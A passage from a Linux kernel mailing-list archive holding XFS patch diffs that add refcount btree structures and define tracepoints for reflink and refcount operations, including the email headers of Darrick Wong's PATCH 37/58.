+xfs_refcountbt_write_verify( + struct xfs_buf *bp) +{ + if (!xfs_refcountbt_verify(bp)) { + trace_xfs_btree_corrupt(bp, _RET_IP_); + xfs_buf_ioerror(bp, -EFSCORRUPTED); + xfs_verifier_error(bp); + return; + } + xfs_btree_sblock_calc_crc(bp); + +} + +const struct xfs_buf_ops xfs_refcountbt_buf_ops = { + .verify_read = xfs_refcountbt_read_verify, + .verify_write = xfs_refcountbt_write_verify, +}; + +static const struct xfs_btree_ops xfs_refcountbt_ops = { + .rec_len = sizeof(struct xfs_refcount_rec), + .key_len = sizeof(struct xfs_refcount_key), + + .dup_cursor = xfs_refcountbt_dup_cursor, + .buf_ops = &xfs_refcountbt_buf_ops, +}; + +/** + * xfs_refcountbt_init_cursor() -- Allocate a new refcount btree cursor. + * + * @mp: XFS mount object + * @tp: XFS transaction + * @agbp: Buffer containing the AGF + * @agno: AG number + */ +struct xfs_btree_cur * +xfs_refcountbt_init_cursor( + struct xfs_mount *mp, + struct xfs_trans *tp, + struct xfs_buf *agbp, + xfs_agnumber_t agno, + struct xfs_bmap_free *flist) +{ + struct xfs_agf *agf = XFS_BUF_TO_AGF(agbp); + struct xfs_btree_cur *cur; + + ASSERT(agno != NULLAGNUMBER); + ASSERT(agno < mp->m_sb.sb_agcount); + cur = kmem_zone_zalloc(xfs_btree_cur_zone, KM_SLEEP); + + cur->bc_tp = tp; + cur->bc_mp = mp; + cur->bc_btnum = XFS_BTNUM_REFC; + cur->bc_blocklog = mp->m_sb.sb_blocklog; + cur->bc_ops = &xfs_refcountbt_ops; + + cur->bc_nlevels = be32_to_cpu(agf->agf_refcount_level); + + cur->bc_private.a.agbp = agbp; + cur->bc_private.a.agno = agno; + cur->bc_private.a.flist = flist; + cur->bc_flags |= XFS_BTREE_CRC_BLOCKS; + + return cur; +} + +/** + * xfs_refcountbt_maxrecs() -- Calculate number of records in a refcount + * btree block. + * @mp: XFS mount object + * @blocklen: Length of block, in bytes. + * @leaf: true if this is a leaf btree block, false otherwise + */ +int +xfs_refcountbt_maxrecs( + struct xfs_mount *mp, + int blocklen, + bool leaf) +{ + blocklen -= XFS_REFCOUNT_BLOCK_LEN; + + if (leaf) + return blocklen / sizeof(struct xfs_refcount_rec); + return blocklen / (sizeof(struct xfs_refcount_key) + + sizeof(xfs_refcount_ptr_t)); +} diff --git a/fs/xfs/libxfs/xfs_refcount_btree.h b/fs/xfs/libxfs/xfs_refcount_btree.h new file mode 100644 index 0000000..d51dc1a --- /dev/null +++ b/fs/xfs/libxfs/xfs_refcount_btree.h @@ -0,0 +1,65 @@ +/* + * Copyright (c) 2000,2005 Silicon Graphics, Inc. + * Copyright (c) 2015 Oracle. + * All Rights Reserved. + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License as + * published by the Free Software Foundation. + * + * This program is distributed in the hope that it would be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write the Free Software Foundation, + * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA + */ +#ifndef __XFS_REFCOUNT_BTREE_H__ +#define __XFS_REFCOUNT_BTREE_H__ + +/* + * Reference Count Btree on-disk structures + */ + +struct xfs_buf; +struct xfs_btree_cur; +struct xfs_mount; + +/* + * Btree block header size + */ +#define XFS_REFCOUNT_BLOCK_LEN XFS_BTREE_SBLOCK_CRC_LEN + +/* + * Record, key, and pointer address macros for btree blocks. + * + * (note that some of these may appear unused, but they are used in userspace) + */ +#define XFS_REFCOUNT_REC_ADDR(block, index) \ + ((struct xfs_refcount_rec *) \ + ((char *)(block) + \ + XFS_REFCOUNT_BLOCK_LEN + \ + (((index) - 1) * sizeof(struct xfs_refcount_rec)))) + +#define XFS_REFCOUNT_KEY_ADDR(block, index) \ + ((struct xfs_refcount_key *) \ + ((char *)(block) + \ + XFS_REFCOUNT_BLOCK_LEN + \ + ((index) - 1) * sizeof(struct xfs_refcount_key))) + +#define XFS_REFCOUNT_PTR_ADDR(block, index, maxrecs) \ + ((xfs_refcount_ptr_t *) \ + ((char *)(block) + \ + XFS_REFCOUNT_BLOCK_LEN + \ + (maxrecs) * sizeof(struct xfs_refcount_key) + \ + ((index) - 1) * sizeof(xfs_refcount_ptr_t))) + +extern struct xfs_btree_cur *xfs_refcountbt_init_cursor(struct xfs_mount *mp, + struct xfs_trans *tp, struct xfs_buf *agbp, xfs_agnumber_t agno, + struct xfs_bmap_free *flist); +extern int xfs_refcountbt_maxrecs(struct xfs_mount *mp, int blocklen, + bool leaf); + +#endif /* __XFS_REFCOUNT_BTREE_H__ */ diff --git a/fs/xfs/libxfs/xfs_sb.c b/fs/xfs/libxfs/xfs_sb.c index 8b437f5..5bc638f 100644 --- a/fs/xfs/libxfs/xfs_sb.c +++ b/fs/xfs/libxfs/xfs_sb.c @@ -36,6 +36,8 @@ #include "xfs_alloc_btree.h" #include "xfs_ialloc_btree.h" #include "xfs_rmap_btree.h" +#include "xfs_bmap.h" +#include "xfs_refcount_btree.h" /* * Physical superblock buffer manipulations. Shared with libxfs in userspace. @@ -728,6 +730,13 @@ xfs_sb_mount_common( mp->m_rmap_mnr[0] = mp->m_rmap_mxr[0] / 2; mp->m_rmap_mnr[1] = mp->m_rmap_mxr[1] / 2; + mp->m_refc_mxr[0] = xfs_refcountbt_maxrecs(mp, sbp->sb_blocksize, + true); + mp->m_refc_mxr[1] = xfs_refcountbt_maxrecs(mp, sbp->sb_blocksize, + false); + mp->m_refc_mnr[0] = mp->m_refc_mxr[0] / 2; + mp->m_refc_mnr[1] = mp->m_refc_mxr[1] / 2; + mp->m_bsize = XFS_FSB_TO_BB(mp, 1); mp->m_ialloc_inos = (int)MAX((__uint16_t)XFS_INODES_PER_CHUNK, sbp->sb_inopblock); diff --git a/fs/xfs/libxfs/xfs_shared.h b/fs/xfs/libxfs/xfs_shared.h index 88efbb4..77d1220 100644 --- a/fs/xfs/libxfs/xfs_shared.h +++ b/fs/xfs/libxfs/xfs_shared.h @@ -39,6 +39,7 @@ extern const struct xfs_buf_ops xfs_agf_buf_ops; extern const struct xfs_buf_ops xfs_agfl_buf_ops; extern const struct xfs_buf_ops xfs_allocbt_buf_ops; extern const struct xfs_buf_ops xfs_rmapbt_buf_ops; +extern const struct xfs_buf_ops xfs_refcountbt_buf_ops; extern const struct xfs_buf_ops xfs_attr3_leaf_buf_ops; extern const struct xfs_buf_ops xfs_attr3_rmt_buf_ops; extern const struct xfs_buf_ops xfs_bmbt_buf_ops; @@ -216,6 +217,7 @@ int xfs_log_calc_minimum_size(struct xfs_mount *); #define XFS_INO_REF 2 #define XFS_ATTR_BTREE_REF 1 #define XFS_DQUOT_REF 1 +#define XFS_REFC_BTREE_REF 1 /* * Flags for xfs_trans_ichgtime(). diff --git a/fs/xfs/xfs_mount.h b/fs/xfs/xfs_mount.h index 4b286cc..aba42d7 100644 --- a/fs/xfs/xfs_mount.h +++ b/fs/xfs/xfs_mount.h @@ -92,6 +92,8 @@ typedef struct xfs_mount { uint m_inobt_mnr[2]; /* min inobt btree records */ uint m_rmap_mxr[2]; /* max rmap btree records */ uint m_rmap_mnr[2]; /* min rmap btree records */ + uint m_refc_mxr[2]; /* max refc btree records */ + uint m_refc_mnr[2]; /* min refc btree records */ uint m_ag_maxlevels; /* XFS_AG_MAXLEVELS */ uint m_bm_maxlevels[2]; /* XFS_BM_MAXLEVELS */ uint m_in_maxlevels; /* max inobt btree levels. */ From darrick.wong@oracle.com Tue Oct 6 23:59:21 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 0A87A7FB1 for ; Tue, 6 Oct 2015 23:59:21 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id E06938F8049 for ; Tue, 6 Oct 2015 21:59:20 -0700 (PDT) X-ASG-Debug-ID: 1444193957-04cbb03f150d620001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id nhN6DQzBv1r07lyG (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Tue, 06 Oct 2015 21:59:17 -0700 (PDT) X-Barracuda-Envelope-From: darrick.wong@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from userv0022.oracle.com (userv0022.oracle.com [156.151.31.74]) by aserp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id t974xG0M008187 (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 7 Oct 2015 04:59:16 GMT Received: from userv0122.oracle.com (userv0122.oracle.com [156.151.31.75]) by userv0022.oracle.com (8.13.8/8.13.8) with ESMTP id t974xFJg008828 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL); Wed, 7 Oct 2015 04:59:15 GMT Received: from abhmp0004.oracle.com (abhmp0004.oracle.com [141.146.116.10]) by userv0122.oracle.com (8.13.8/8.13.8) with ESMTP id t974xFH9021820; Wed, 7 Oct 2015 04:59:15 GMT Received: from localhost (/24.21.154.84) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 06 Oct 2015 21:59:15 -0700 Subject: [PATCH 37/58] xfs: define tracepoints for refcount/reflink activities From: "Darrick J. Wong" X-ASG-Orig-Subj: [PATCH 37/58] xfs: define tracepoints for refcount/reflink activities To: david@fromorbit.com, darrick.wong@oracle.com Cc: linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com Date: Tue, 06 Oct 2015 21:59:14 -0700 Message-ID: <20151007045913.30457.3278.stgit@birch.djwong.org> In-Reply-To: <20151007045443.30457.47038.stgit@birch.djwong.org> References: <20151007045443.30457.47038.stgit@birch.djwong.org> User-Agent: StGit/0.17.1-dirty MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit X-Source-IP: userv0022.oracle.com [156.151.31.74] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1444193957 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23261 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines Define all the tracepoints we need to inspect the refcount and reflink runtime operation. Signed-off-by: Darrick J. Wong --- fs/xfs/xfs_trace.h | 672 ++++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 672 insertions(+) diff --git a/fs/xfs/xfs_trace.h b/fs/xfs/xfs_trace.h index f8ec848..2f6015c 100644 --- a/fs/xfs/xfs_trace.h +++ b/fs/xfs/xfs_trace.h @@ -2453,6 +2453,678 @@ DEFINE_DISCARD_EVENT(xfs_discard_toosmall); DEFINE_DISCARD_EVENT(xfs_discard_exclude); DEFINE_DISCARD_EVENT(xfs_discard_busy); +/* reflink/refcount tracepoint classes */ + +/* reuse the discard trace class for agbno/aglen-based traces */ +#define DEFINE_AG_EXTENT_EVENT(name) DEFINE_DISCARD_EVENT(name) + +/* ag btree lookup tracepoint class */ +#define XFS_AG_BTREE_CMP_FORMAT_STR \ + { XFS_LOOKUP_EQ, "eq" }, \ + { XFS_LOOKUP_LE, "le" }, \ + { XFS_LOOKUP_GE, "ge" } +DECLARE_EVENT_CLASS(xfs_ag_btree_lookup_class, + TP_PROTO(struct xfs_mount *mp, xfs_agnumber_t agno, + xfs_agblock_t agbno, xfs_lookup_t dir), + TP_ARGS(mp, agno, agbno, dir), + TP_STRUCT__entry( + __field(dev_t, dev) + __field(xfs_agnumber_t, agno) + __field(xfs_agblock_t, agbno) + __field(xfs_lookup_t, dir) + ), + TP_fast_assign( + __entry->dev = mp->m_super->s_dev; + __entry->agno = agno; + __entry->agbno = agbno; + __entry->dir = dir; + ), + TP_printk("dev %d:%d agno %u agbno %u cmp %s(%d)\n", + MAJOR(__entry->dev), MINOR(__entry->dev), + __entry->agno, + __entry->agbno, + __print_symbolic(__entry->dir, XFS_AG_BTREE_CMP_FORMAT_STR), + __entry->dir) +) + +#define DEFINE_AG_BTREE_LOOKUP_EVENT(name) \ +DEFINE_EVENT(xfs_ag_btree_lookup_class, name, \ + TP_PROTO(struct xfs_mount *mp, xfs_agnumber_t agno, \ + xfs_agblock_t agbno, xfs_lookup_t dir), \ + TP_ARGS(mp, agno, agbno, dir)) + +/* two-file io tracepoint class */ +DECLARE_EVENT_CLASS(xfs_double_io_class, + TP_PROTO(struct xfs_inode *src, xfs_off_t soffset, xfs_off_t len, + struct xfs_inode *dest, xfs_off_t doffset), + TP_ARGS(src, soffset, len, dest, doffset), + TP_STRUCT__entry( + __field(dev_t, dev) + __field(xfs_ino_t, src_ino) + __field(loff_t, src_isize) + __field(loff_t, src_disize) + __field(loff_t, src_offset) + __field(size_t, len) + __field(xfs_ino_t, dest_ino) + __field(loff_t, dest_isize) + __field(loff_t, dest_disize) + __field(loff_t, dest_offset) + ), + TP_fast_assign( + __entry->dev = VFS_I(src)->i_sb->s_dev; + __entry->src_ino = src->i_ino; + __entry->src_isize = VFS_I(src)->i_size; + __entry->src_disize = src->i_d.di_size; + __entry->src_offset = soffset; + __entry->len = len; + __entry->dest_ino = dest->i_ino; + __entry->dest_isize = VFS_I(dest)->i_size; + __entry->dest_disize = dest->i_d.di_size; + __entry->dest_offset = doffset; + ), + TP_printk("dev %d:%d count %zd " + "ino 0x%llx isize 0x%llx disize 0x%llx offset 0x%llx -> " + "ino 0x%llx isize 0x%llx disize 0x%llx offset 0x%llx", + MAJOR(__entry->dev), MINOR(__entry->dev), + __entry->len, + __entry->src_ino, + __entry->src_isize, + __entry->src_disize, + __entry->src_offset, + __entry->dest_ino, + __entry->dest_isize, + __entry->dest_disize, + __entry->dest_offset) +) + +#define DEFINE_DOUBLE_IO_EVENT(name) \ +DEFINE_EVENT(xfs_double_io_class, name, \ + TP_PROTO(struct xfs_inode *src, xfs_off_t soffset, xfs_off_t len, \ + struct xfs_inode *dest, xfs_off_t doffset), \ + TP_ARGS(src, soffset, len, dest, doffset)) + +/* two-file vfs io tracepoint class */ +DECLARE_EVENT_CLASS(xfs_double_vfs_io_class, + TP_PROTO(struct inode *src, u64 soffset, u64 len, + struct inode *dest, u64 doffset), + TP_ARGS(src, soffset, len, dest, doffset), + TP_STRUCT__entry( + __field(dev_t, dev) + __field(unsigned long, src_ino) + __field(loff_t, src_isize) + __field(loff_t, src_offset) + __field(size_t, len) + __field(unsigned long, dest_ino) + __field(loff_t, dest_isize) + __field(loff_t, dest_offset) + ), + TP_fast_assign( + __entry->dev = src->i_sb->s_dev; + __entry->src_ino = src->i_ino; + __entry->src_isize = i_size_read(src); + __entry->src_offset = soffset; + __entry->len = len; + __entry->dest_ino = dest->i_ino; + __entry->dest_isize = i_size_read(dest); + __entry->dest_offset = doffset; + ), + TP_printk("dev %d:%d count %zd " + "ino 0x%lx isize 0x%llx offset 0x%llx -> " + "ino 0x%lx isize 0x%llx offset 0x%llx", + MAJOR(__entry->dev), MINOR(__entry->dev), + __entry->len, + __entry->src_ino, + __entry->src_isize, + __entry->src_offset, + __entry->dest_ino, + __entry->dest_isize, + __entry->dest_offset) +) + +#define DEFINE_DOUBLE_VFS_IO_EVENT(name) \ +DEFINE_EVENT(xfs_double_vfs_io_class, name, \ + TP_PROTO(struct inode *src, u64 soffset, u64 len, \ + struct inode *dest, u64 doffset), \ + TP_ARGS(src, soffset, len, dest, doffset)) + +/* CoW write tracepoint */ +DECLARE_EVENT_CLASS(xfs_copy_on_write_class, + TP_PROTO(struct xfs_inode *ip, xfs_fileoff_t lblk, xfs_fsblock_t pblk, + xfs_extlen_t len, xfs_fsblock_t new_pblk), + TP_ARGS(ip, lblk, pblk, len, new_pblk), + TP_STRUCT__entry( + __field(dev_t, dev) + __field(xfs_ino_t, ino) + __field(xfs_fileoff_t, lblk) + __field(xfs_fsblock_t, pblk) + __field(xfs_extlen_t, len) + __field(xfs_fsblock_t, new_pblk) + ), + TP_fast_assign( + __entry->dev = VFS_I(ip)->i_sb->s_dev; + __entry->ino = ip->i_ino; + __entry->lblk = lblk; + __entry->pblk = pblk; + __entry->len = len; + __entry->new_pblk = new_pblk; + ), + TP_printk("dev %d:%d ino 0x%llx lblk 0x%llx pblk 0x%llx " + "len 0x%x new_pblk %llu", + MAJOR(__entry->dev), MINOR(__entry->dev), + __entry->ino, + __entry->lblk, + __entry->pblk, + __entry->len, + __entry->new_pblk) +) + +#define DEFINE_COW_EVENT(name) \ +DEFINE_EVENT(xfs_copy_on_write_class, name, \ + TP_PROTO(struct xfs_inode *ip, xfs_fileoff_t lblk, xfs_fsblock_t pblk, \ + xfs_extlen_t len, xfs_fsblock_t new_pblk), \ + TP_ARGS(ip, lblk, pblk, len, new_pblk)) + +/* single-rlext tracepoint class */ +DECLARE_EVENT_CLASS(xfs_refcount_extent_class, + TP_PROTO(struct xfs_mount *mp, xfs_agnumber_t agno, + struct xfs_refcount_irec *irec), + TP_ARGS(mp, agno, irec), + TP_STRUCT__entry( + __field(dev_t, dev) + __field(xfs_agnumber_t, agno) + __field(xfs_agblock_t, startblock) + __field(xfs_extlen_t, blockcount) + __field(xfs_nlink_t, refcount) + ), + TP_fast_assign( + __entry->dev = mp->m_super->s_dev; + __entry->agno = agno; + __entry->startblock = irec->rc_startblock; + __entry->blockcount = irec->rc_blockcount; + __entry->refcount = irec->rc_refcount; + ), + TP_printk("dev %d:%d agno %u agbno %u len %u refcount %u\n", + MAJOR(__entry->dev), MINOR(__entry->dev), + __entry->agno, + __entry->startblock, + __entry->blockcount, + __entry->refcount) +) + +#define DEFINE_REFCOUNT_EXTENT_EVENT(name) \ +DEFINE_EVENT(xfs_refcount_extent_class, name, \ + TP_PROTO(struct xfs_mount *mp, xfs_agnumber_t agno, \ + struct xfs_refcount_irec *irec), \ + TP_ARGS(mp, agno, irec)) + +/* single-rlext and an agbno tracepoint class */ +DECLARE_EVENT_CLASS(xfs_refcount_extent_at_class, + TP_PROTO(struct xfs_mount *mp, xfs_agnumber_t agno, + struct xfs_refcount_irec *irec, xfs_agblock_t agbno), + TP_ARGS(mp, agno, irec, agbno), + TP_STRUCT__entry( + __field(dev_t, dev) + __field(xfs_agnumber_t, agno) + __field(xfs_agblock_t, startblock) + __field(xfs_extlen_t, blockcount) + __field(xfs_nlink_t, refcount) + __field(xfs_agblock_t, agbno) + ), + TP_fast_assign( + __entry->dev = mp->m_super->s_dev; + __entry->agno = agno; + __entry->startblock = irec->rc_startblock; + __entry->blockcount = irec->rc_blockcount; + __entry->refcount = irec->rc_refcount; + __entry->agbno = agbno; + ), + TP_printk("dev %d:%d agno %u agbno %u len %u refcount %u @ agbno %u\n", + MAJOR(__entry->dev), MINOR(__entry->dev), + __entry->agno, + __entry->startblock, + __entry->blockcount, + __entry->refcount, + __entry->agbno) +) + +#define DEFINE_REFCOUNT_EXTENT_AT_EVENT(name) \ +DEFINE_EVENT(xfs_refcount_extent_at_class, name, \ + TP_PROTO(struct xfs_mount *mp, xfs_agnumber_t agno, \ + struct xfs_refcount_irec *irec, xfs_agblock_t agbno), \ + TP_ARGS(mp, agno, irec, agbno)) + +/* double-rlext tracepoint class */ +DECLARE_EVENT_CLASS(xfs_refcount_double_extent_class, + TP_PROTO(struct xfs_mount *mp, xfs_agnumber_t agno, + struct xfs_refcount_irec *i1, struct xfs_refcount_irec *i2), + TP_ARGS(mp, agno, i1, i2), + TP_STRUCT__entry( + __field(dev_t, dev) + __field(xfs_agnumber_t, agno) + __field(xfs_agblock_t, i1_startblock) + __field(xfs_extlen_t, i1_blockcount) + __field(xfs_nlink_t, i1_refcount) + __field(xfs_agblock_t, i2_startblock) + __field(xfs_extlen_t, i2_blockcount) + __field(xfs_nlink_t, i2_refcount) + ), + TP_fast_assign( + __entry->dev = mp->m_super->s_dev; + __entry->agno = agno; + __entry->i1_startblock = i1->rc_startblock; + __entry->i1_blockcount = i1->rc_blockcount; + __entry->i1_refcount = i1->rc_refcount; + __entry->i2_startblock = i2->rc_startblock; + __entry->i2_blockcount = i2->rc_blockcount; + __entry->i2_refcount = i2->rc_refcount; + ), + TP_printk("dev %d:%d agno %u agbno %u len %u refcount %u -- " + "agbno %u len %u refcount %u\n", + MAJOR(__entry->dev), MINOR(__entry->dev), + __entry->agno, + __entry->i1_startblock, + __entry->i1_blockcount, + __entry->i1_refcount, + __entry->i2_startblock, + __entry->i2_blockcount, + __entry->i2_refcount) +) + +#define DEFINE_REFCOUNT_DOUBLE_EXTENT_EVENT(name) \ +DEFINE_EVENT(xfs_refcount_double_extent_class, name, \ + TP_PROTO(struct xfs_mount *mp, xfs_agnumber_t agno, \ + struct xfs_refcount_irec *i1, struct xfs_refcount_irec *i2), \ + TP_ARGS(mp, agno, i1, i2)) + +/* double-rlext and an agbno tracepoint class */ +DECLARE_EVENT_CLASS(xfs_refcount_double_extent_at_class, + TP_PROTO(struct xfs_mount *mp, xfs_agnumber_t agno, + struct xfs_refcount_irec *i1, struct xfs_refcount_irec *i2, + xfs_agblock_t agbno), + TP_ARGS(mp, agno, i1, i2, agbno), + TP_STRUCT__entry( + __field(dev_t, dev) + __field(xfs_agnumber_t, agno) + __field(xfs_agblock_t, i1_startblock) + __field(xfs_extlen_t, i1_blockcount) + __field(xfs_nlink_t, i1_refcount) + __field(xfs_agblock_t, i2_startblock) + __field(xfs_extlen_t, i2_blockcount) + __field(xfs_nlink_t, i2_refcount) + __field(xfs_agblock_t, agbno) + ), + TP_fast_assign( + __entry->dev = mp->m_super->s_dev; + __entry->agno = agno; + __entry->i1_startblock = i1->rc_startblock; + __entry->i1_blockcount = i1->rc_blockcount; + __entry->i1_refcount = i1->rc_refcount; + __entry->i2_startblock = i2->rc_startblock; + __entry->i2_blockcount = i2->rc_blockcount; + __entry->i2_refcount = i2->rc_refcount; + __entry->agbno = agbno; + ), + TP_printk("dev %d:%d agno %u agbno %u len %u refcount %u -- " + "agbno %u len %u refcount %u @ agbno %u\n", + MAJOR(__entry->dev), MINOR(__entry->dev), + __entry->agno, + __entry->i1_startblock, + __entry->i1_blockcount, + __entry->i1_refcount, + __entry->i2_startblock, + __entry->i2_blockcount, + __entry->i2_refcount, + __entry->agbno) +) + +#define DEFINE_REFCOUNT_DOUBLE_EXTENT_AT_EVENT(name) \ +DEFINE_EVENT(xfs_refcount_double_extent_at_class, name, \ + TP_PROTO(struct xfs_mount *mp, xfs_agnumber_t agno, \ + struct xfs_refcount_irec *i1, struct xfs_refcount_irec *i2, \ + xfs_agblock_t agbno), \ + TP_ARGS(mp, agno, i1, i2, agbno)) + +/* triple-rlext tracepoint class */ +DECLARE_EVENT_CLASS(xfs_refcount_triple_extent_class, + TP_PROTO(struct xfs_mount *mp, xfs_agnumber_t agno, + struct xfs_refcount_irec *i1, struct xfs_refcount_irec *i2, + struct xfs_refcount_irec *i3), + TP_ARGS(mp, agno, i1, i2, i3), + TP_STRUCT__entry( + __field(dev_t, dev) + __field(xfs_agnumber_t, agno) + __field(xfs_agblock_t, i1_startblock) + __field(xfs_extlen_t, i1_blockcount) + __field(xfs_nlink_t, i1_refcount) + __field(xfs_agblock_t, i2_startblock) + __field(xfs_extlen_t, i2_blockcount) + __field(xfs_nlink_t, i2_refcount) + __field(xfs_agblock_t, i3_startblock) + __field(xfs_extlen_t, i3_blockcount) + __field(xfs_nlink_t, i3_refcount) + ), + TP_fast_assign( + __entry->dev = mp->m_super->s_dev; + __entry->agno = agno; + __entry->i1_startblock = i1->rc_startblock; + __entry->i1_blockcount = i1->rc_blockcount; + __entry->i1_refcount = i1->rc_refcount; + __entry->i2_startblock = i2->rc_startblock; + __entry->i2_blockcount = i2->rc_blockcount; + __entry->i2_refcount = i2->rc_refcount; + __entry->i3_startblock = i3->rc_startblock; + __entry->i3_blockcount = i3->rc_blockcount; + __entry->i3_refcount = i3->rc_refcount; + ), + TP_printk("dev %d:%d agno %u agbno %u len %u refcount %u -- " + "agbno %u len %u refcount %u -- " + "agbno %u len %u refcount %u\n", + MAJOR(__entry->dev), MINOR(__entry->dev), + __entry->agno, + __entry->i1_startblock, + __entry->i1_blockcount, + __entry->i1_refcount, + __entry->i2_startblock, + __entry->i2_blockcount, + __entry->i2_refcount, + __entry->i3_startblock, + __entry->i3_blockcount, + __entry->i3_refcount) +); + +#define DEFINE_REFCOUNT_TRIPLE_EXTENT_EVENT(name) \ +DEFINE_EVENT(xfs_refcount_triple_extent_class, name, \ + TP_PROTO(struct xfs_mount *mp, xfs_agnumber_t agno, \ + struct xfs_refcount_irec *i1, struct xfs_refcount_irec *i2, \ + struct xfs_refcount_irec *i3), \ + TP_ARGS(mp, agno, i1, i2, i3)) + +/* simple AG-based error/%ip tracepoint class */ +DECLARE_EVENT_CLASS(xfs_ag_error_class, + TP_PROTO(struct xfs_mount *mp, xfs_agnumber_t agno, int error, + unsigned long caller_ip), + TP_ARGS(mp, agno, error, caller_ip), + TP_STRUCT__entry( + __field(dev_t, dev) + __field(xfs_agnumber_t, agno) + __field(int, error) + __field(unsigned long, caller_ip) + ), + TP_fast_assign( + __entry->dev = mp->m_super->s_dev; + __entry->agno = agno; + __entry->error = error; + __entry->caller_ip = caller_ip; + ), + TP_printk("dev %d:%d agno %u error %d caller %ps", + MAJOR(__entry->dev), MINOR(__entry->dev), + __entry->agno, + __entry->error, + (char *)__entry->caller_ip) +); + +#define DEFINE_AG_ERROR_EVENT(name) \ +DEFINE_EVENT(xfs_ag_error_class, name, \ + TP_PROTO(struct xfs_mount *mp, xfs_agnumber_t agno, int error, \ + unsigned long caller_ip), \ + TP_ARGS(mp, agno, error, caller_ip)) + +/* simple inode-based error/%ip tracepoint class */ +DECLARE_EVENT_CLASS(xfs_inode_error_class, + TP_PROTO(struct xfs_inode *ip, int error, unsigned long caller_ip), + TP_ARGS(ip, error, caller_ip), + TP_STRUCT__entry( + __field(dev_t, dev) + __field(xfs_ino_t, ino) + __field(int, error) + __field(unsigned long, caller_ip) + ), + TP_fast_assign( + __entry->dev = VFS_I(ip)->i_sb->s_dev; + __entry->ino = ip->i_ino; + __entry->error = error; + __entry->caller_ip = caller_ip; + ), + TP_printk("dev %d:%d ino %llx error %d caller %ps", + MAJOR(__entry->dev), MINOR(__entry->dev), + __entry->ino, + __entry->error, + (char *)__entry->caller_ip) +); + +#define DEFINE_INODE_ERROR_EVENT(name) \ +DEFINE_EVENT(xfs_inode_error_class, name, \ + TP_PROTO(struct xfs_inode *ip, int error, \ + unsigned long caller_ip), \ + TP_ARGS(ip, error, caller_ip)) + +/* refcount/reflink tracepoint definitions */ + +/* reflink allocator */ +TRACE_EVENT(xfs_reflink_relink_blocks, + TP_PROTO(struct xfs_inode *ip, xfs_fsblock_t fsbno, + xfs_extlen_t len), + TP_ARGS(ip, fsbno, len), + TP_STRUCT__entry( + __field(dev_t, dev) + __field(xfs_ino_t, ino) + __field(xfs_fsblock_t, fsbno) + __field(xfs_extlen_t, len) + ), + TP_fast_assign( + __entry->dev = VFS_I(ip)->i_sb->s_dev; + __entry->ino = ip->i_ino; + __entry->fsbno = fsbno; + __entry->len = len; + ), + TP_printk("dev %d:%d ino 0x%llx fsbno 0x%llx len %x", + MAJOR(__entry->dev), MINOR(__entry->dev), + __entry->ino, + __entry->fsbno, + __entry->len) +); + +/* refcount btree tracepoints */ +DEFINE_AG_BTREE_LOOKUP_EVENT(xfs_refcountbt_lookup); +DEFINE_REFCOUNT_EXTENT_EVENT(xfs_refcountbt_get); +DEFINE_REFCOUNT_EXTENT_EVENT(xfs_refcountbt_update); +DEFINE_REFCOUNT_EXTENT_EVENT(xfs_refcountbt_insert); +DEFINE_REFCOUNT_EXTENT_EVENT(xfs_refcountbt_delete); + +/* refcount adjustment tracepoints */ +DEFINE_AG_EXTENT_EVENT(xfs_refcount_increase); +DEFINE_AG_EXTENT_EVENT(xfs_refcount_decrease); +DEFINE_REFCOUNT_TRIPLE_EXTENT_EVENT(xfs_refcount_merge_center_extents); +DEFINE_REFCOUNT_EXTENT_EVENT(xfs_refcount_modify_extent); +DEFINE_REFCOUNT_EXTENT_AT_EVENT(xfs_refcount_split_left_extent); +DEFINE_REFCOUNT_EXTENT_AT_EVENT(xfs_refcount_split_right_extent); +DEFINE_REFCOUNT_DOUBLE_EXTENT_EVENT(xfs_refcount_merge_left_extent); +DEFINE_REFCOUNT_DOUBLE_EXTENT_EVENT(xfs_refcount_merge_right_extent); +DEFINE_REFCOUNT_DOUBLE_EXTENT_AT_EVENT(xfs_refcount_find_left_extent); +DEFINE_REFCOUNT_DOUBLE_EXTENT_AT_EVENT(xfs_refcount_find_right_extent); +DEFINE_AG_ERROR_EVENT(xfs_refcount_adjust_error); +DEFINE_AG_ERROR_EVENT(xfs_refcount_merge_center_extents_error); 